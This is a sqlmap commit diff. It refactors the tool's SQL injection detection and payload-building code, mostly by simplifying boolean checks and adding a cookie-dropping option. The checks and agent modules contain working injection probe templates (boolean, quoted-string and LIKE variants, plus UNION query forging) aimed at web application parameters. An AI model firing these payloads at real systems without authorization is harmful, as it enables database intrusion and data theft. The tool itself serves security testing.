sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup.

This commit is contained in:
Bernardo Damele 2010-01-02 02:02:12 +00:00
parent d55175a340
commit ce022a3b6e
62 changed files with 567 additions and 1026 deletions

View File

@ -1,28 +1,26 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G. Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/ web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version. version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful, This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details. Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import os import os
import sys import sys
import struct import struct
@ -30,7 +28,6 @@ import struct
from optparse import OptionError from optparse import OptionError
from optparse import OptionParser from optparse import OptionParser
def convert(inputFile): def convert(inputFile):
fileStat = os.stat(inputFile) fileStat = os.stat(inputFile)
fileSize = fileStat.st_size fileSize = fileStat.st_size
@ -73,8 +70,7 @@ def convert(inputFile):
script += "w\r\nq\r\n" script += "w\r\nq\r\n"
return script return script
def main(inputFile, outputFile): def main(inputFile, outputFile):
if not os.path.isfile(inputFile): if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
@ -89,8 +85,7 @@ def main(inputFile, outputFile):
sys.stdout.close() sys.stdout.close()
else: else:
print script print script
if __name__ == '__main__': if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0] usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1') parser = OptionParser(usage=usage, version='0.1')

View File

@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/) License: PSF (http://www.python.org/psf/license/)
""" """
import os.path import os.path
import ctypes import ctypes
import ctypes.util import ctypes.util
@ -42,7 +40,6 @@ class Magic:
magic_load(self.cookie, magic_file) magic_load(self.cookie, magic_file)
def from_buffer(self, buf): def from_buffer(self, buf):
""" """
Identify the contents of `buf` Identify the contents of `buf`
@ -66,7 +63,6 @@ class Magic:
except Exception, _: except Exception, _:
pass pass
_magic_mime = None _magic_mime = None
_magic = None _magic = None
@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
m = _get_magic_type(mime) m = _get_magic_type(mime)
return m.from_buffer(buffer) return m.from_buffer(buffer)
try: try:
libmagic = ctypes.CDLL(ctypes.util.find_library('magic')) libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
@ -132,17 +126,14 @@ try:
magic_file.argtypes = [magic_t, c_char_p] magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck magic_file.errcheck = errorcheck
_magic_buffer = libmagic.magic_buffer _magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p _magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t] _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck _magic_buffer.errcheck = errorcheck
def magic_buffer(cookie, buf): def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf)) return _magic_buffer(cookie, buf, len(buf))
magic_load = libmagic.magic_load magic_load = libmagic.magic_load
magic_load.restype = c_int magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p] magic_load.argtypes = [magic_t, c_char_p]
@ -162,7 +153,6 @@ try:
except: except:
pass pass
MAGIC_NONE = 0x000000 # No flags MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging MAGIC_DEBUG = 0x000001 # Turn on debugging

View File

@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import mimetools import mimetools
import mimetypes import mimetypes
import os import os
@ -39,7 +37,6 @@ class Callable:
def __init__(self, anycallable): def __init__(self, anycallable):
self.__call__ = anycallable self.__call__ = anycallable
# Controls how sequences are uncoded. If true, elements may be given # Controls how sequences are uncoded. If true, elements may be given
# multiple values by assigning a sequence. # multiple values by assigning a sequence.
doseq = 1 doseq = 1
@ -50,9 +47,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
def http_request(self, request): def http_request(self, request):
data = request.get_data() data = request.get_data()
if data is not None and type(data) != str: if data is not None and type(data) != str:
v_files = [] v_files = []
v_vars = [] v_vars = []
try: try:
for(key, value) in data.items(): for(key, value) in data.items():
if type(value) == file: if type(value) == file:
@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
request.add_data(data) request.add_data(data)
return request return request
def multipart_encode(vars, files, boundary = None, buffer = None): def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None: if boundary is None:
boundary = mimetools.choose_boundary() boundary = mimetools.choose_boundary()
if buffer is None: if buffer is None:
buffer = '' buffer = ''
for(key, value) in vars: for(key, value) in vars:
buffer += '--%s\r\n' % boundary buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n' buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files: for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE] file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1] filename = fd.name.split('/')[-1]
@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
# buffer += 'Content-Length: %s\r\n' % file_size # buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0) fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n' buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer return boundary, buffer
multipart_encode = Callable(multipart_encode) multipart_encode = Callable(multipart_encode)
https_request = http_request https_request = http_request

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.controller.handler import setHandler from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp from lib.core.common import getHtmlErrorFp
from lib.core.data import conf from lib.core.data import conf
@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest from lib.techniques.outband.stacked import stackedTest
def action(): def action():
""" """
This function exploit the SQL injection on the affected This function exploit the SQL injection on the affected

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
import time import time
@ -39,7 +37,6 @@ from lib.core.session import setString
from lib.core.session import setRegexp from lib.core.session import setRegexp
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis): def checkSqlInjection(place, parameter, value, parenthesis):
""" """
This function checks if the GET, POST, Cookie, User-Agent This function checks if the GET, POST, Cookie, User-Agent
@ -71,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming custom injection " infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -83,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix)) payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable " infoMsg += "custom injectable "
logger.info(infoMsg) logger.info(infoMsg)
@ -97,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1)) payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming unescaped numeric injection " infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -109,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable " infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@ -128,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming single quoted string injection " infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -140,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable " infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@ -159,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming LIKE single quoted string injection " infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -171,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable " infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@ -190,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming double quoted string injection " infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -202,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable " infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@ -221,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place) trueResult = Request.queryPage(payload, place)
if trueResult == True: if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1))) payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "confirming LIKE double quoted string injection " infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter) infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg) logger.info(infoMsg)
@ -233,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr)) payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place) falseResult = Request.queryPage(payload, place)
if falseResult != True: if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter) infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable " infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis infoMsg += "with %d parenthesis" % parenthesis
@ -247,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
return None return None
def checkDynParam(place, parameter, value): def checkDynParam(place, parameter, value):
""" """
This function checks if the url parameter is dynamic. If it is This function checks if the url parameter is dynamic. If it is
@ -279,7 +275,6 @@ def checkDynParam(place, parameter, value):
return condition return condition
def checkStability(): def checkStability():
""" """
This function checks if the URL content is stable requesting the This function checks if the URL content is stable requesting the
@ -300,13 +295,13 @@ def checkStability():
condition = firstPage == secondPage condition = firstPage == secondPage
if condition == True: if condition:
conf.md5hash = md5hash(firstPage) conf.md5hash = md5hash(firstPage)
logMsg = "url is stable" logMsg = "url is stable"
logger.info(logMsg) logger.info(logMsg)
elif condition == False: elif not condition:
warnMsg = "url is not stable, sqlmap will base the page " warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor " warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's " warnMsg += "injectable parameters are detected, refer to user's "
@ -315,8 +310,6 @@ def checkStability():
logger.warn(warnMsg) logger.warn(warnMsg)
return condition return condition
def checkString(): def checkString():
if not conf.string: if not conf.string:
return True return True
@ -347,7 +340,6 @@ def checkString():
return False return False
def checkRegexp(): def checkRegexp():
if not conf.regexp: if not conf.regexp:
return True return True
@ -379,7 +371,6 @@ def checkRegexp():
return False return False
def checkConnection(): def checkConnection():
infoMsg = "testing connection to the target url" infoMsg = "testing connection to the target url"
logger.info(infoMsg) logger.info(infoMsg)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.controller.action import action from lib.controller.action import action
from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam from lib.controller.checks import checkDynParam
@ -33,6 +31,7 @@ from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection from lib.controller.checks import checkConnection
from lib.core.common import paramToDict from lib.core.common import paramToDict
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import sanitizeCookie
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -42,7 +41,6 @@ from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData): def __selectInjection(injData):
""" """
Selection function for injection place, parameters and type. Selection function for injection place, parameters and type.
@ -83,7 +81,6 @@ def __selectInjection(injData):
return injData[index] return injData[index]
def start(): def start():
""" """
This function calls a function that performs checks on both URL This function calls a function that performs checks on both URL
@ -143,34 +140,36 @@ def start():
if not checkConnection() or not checkString() or not checkRegexp(): if not checkConnection() or not checkString() or not checkRegexp():
continue continue
for _, cookie in enumerate(conf.cj): if not conf.dropSetCookie:
cookie = str(cookie) for _, cookie in enumerate(conf.cj):
index = cookie.index(" for ") cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index]
cookieStr += "%s;" % cookie[8:index] if cookieStr:
cookieStr = cookieStr[:-1]
if cookieStr:
cookieStr = cookieStr[:-1] if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. "
if "Cookie" in conf.parameters: message += "The target url provided its own Cookie within "
message = "you provided an HTTP Cookie header value. " message += "the HTTP Set-Cookie header. Do you want to "
message += "The target url provided its own Cookie within " message += "continue using the HTTP Cookie values that "
message += "the HTTP Set-Cookie header. Do you want to " message += "you provided? [Y/n] "
message += "continue using the HTTP Cookie values that " test = readInput(message, default="Y")
message += "you provided? [Y/n] "
test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False if setCookieAsInjectable:
safeCookie = sanitizeCookie(cookieStr)
if setCookieAsInjectable: conf.httpHeaders.append(("Cookie", safeCookie))
conf.httpHeaders.append(("Cookie", cookieStr)) conf.parameters["Cookie"] = safeCookie
conf.parameters["Cookie"] = cookieStr.replace("%", "%%") __paramDict = paramToDict("Cookie", safeCookie)
__paramDict = paramToDict("Cookie", cookieStr)
if __paramDict:
if __paramDict: conf.paramDict["Cookie"] = __paramDict
conf.paramDict["Cookie"] = __paramDict __testableParameters = True
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType: if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp: if not conf.string and not conf.regexp and not conf.eRegexp:
@ -201,7 +200,7 @@ def start():
logMsg = "%s parameter '%s' is dynamic" % (place, parameter) logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg) logger.info(logMsg)
if testSqlInj == True: if testSqlInj:
for parenthesis in range(0, 4): for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter logMsg += "parameter '%s' with " % parameter
@ -247,14 +246,11 @@ def start():
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ): if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable" raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType: elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.multipleTargets: if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] " message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y") exploit = readInput(message, default="Y")
if not exploit or exploit[0] in ("y", "Y"): condition = not exploit or exploit[0] in ("y", "Y")
condition = True
else: else:
condition = True condition = True

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap from plugins.dbms.postgresql import PostgreSQLMap
def setHandler(): def setHandler():
""" """
Detect which is the target web application back-end database Detect which is the target web application back-end database

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
from lib.core.common import randomInt from lib.core.common import randomInt
@ -45,7 +43,6 @@ class Agent:
temp.start = randomStr(6) temp.start = randomStr(6)
temp.stop = randomStr(6) temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False): def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
""" """
This method replaces the affected parameter with the SQL This method replaces the affected parameter with the SQL
@ -56,9 +53,9 @@ class Agent:
negValue = "" negValue = ""
retValue = "" retValue = ""
if negative == True or conf.paramNegative == True: if negative or conf.paramNegative:
negValue = "-" negValue = "-"
elif falseCond == True or conf.paramFalseCond == True: elif falseCond or conf.paramFalseCond:
randInt = randomInt() randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1) falseValue = " AND %d=%d" % (randInt, randInt + 1)
@ -83,7 +80,6 @@ class Agent:
return retValue return retValue
def fullPayload(self, query): def fullPayload(self, query):
query = self.prefixQuery(query) query = self.prefixQuery(query)
query = self.postfixQuery(query) query = self.postfixQuery(query)
@ -91,7 +87,6 @@ class Agent:
return payload return payload
def prefixQuery(self, string): def prefixQuery(self, string):
""" """
This method defines how the input string has to be escaped This method defines how the input string has to be escaped
@ -120,7 +115,6 @@ class Agent:
return query return query
def postfixQuery(self, string, comment=None): def postfixQuery(self, string, comment=None):
""" """
This method appends the DBMS comment to the This method appends the DBMS comment to the
@ -136,7 +130,7 @@ class Agent:
if conf.postfix: if conf.postfix:
string += " %s" % conf.postfix string += " %s" % conf.postfix
else: else:
if kb.parenthesis != None: if kb.parenthesis is not None:
string += " AND %s" % ("(" * kb.parenthesis) string += " AND %s" % ("(" * kb.parenthesis)
else: else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis" raise sqlmapNoneDataException, "unable to get the number of parenthesis"
@ -156,7 +150,6 @@ class Agent:
return string return string
def nullAndCastField(self, field): def nullAndCastField(self, field):
""" """
Take in input a field string and return its processed nulled and Take in input a field string and return its processed nulled and
@ -195,7 +188,6 @@ class Agent:
return nulledCastedField return nulledCastedField
def nullCastConcatFields(self, fields): def nullCastConcatFields(self, fields):
""" """
Take in input a sequence of fields string and return its processed Take in input a sequence of fields string and return its processed
@ -242,7 +234,6 @@ class Agent:
return nulledCastedConcatFields return nulledCastedConcatFields
def getFields(self, query): def getFields(self, query):
""" """
Take in input a query string and return its fields (columns) and Take in input a query string and return its fields (columns) and
@ -285,7 +276,6 @@ class Agent:
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def simpleConcatQuery(self, query1, query2): def simpleConcatQuery(self, query1, query2):
concatenatedQuery = "" concatenatedQuery = ""
@ -300,7 +290,6 @@ class Agent:
return concatenatedQuery return concatenatedQuery
def concatQuery(self, query, unpack=True): def concatQuery(self, query, unpack=True):
""" """
Take in input a query string and return its processed nulled, Take in input a query string and return its processed nulled,
@ -327,7 +316,7 @@ class Agent:
@rtype: C{str} @rtype: C{str}
""" """
if unpack == True: if unpack:
concatenatedQuery = "" concatenatedQuery = ""
query = query.replace(", ", ",") query = query.replace(", ", ",")
@ -386,7 +375,6 @@ class Agent:
return concatenatedQuery return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"): def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
""" """
Take in input an query (pseudo query) string and return its Take in input an query (pseudo query) string and return its
@ -465,7 +453,6 @@ class Agent:
return inbandQuery return inbandQuery
def limitQuery(self, num, query, field): def limitQuery(self, num, query, field):
""" """
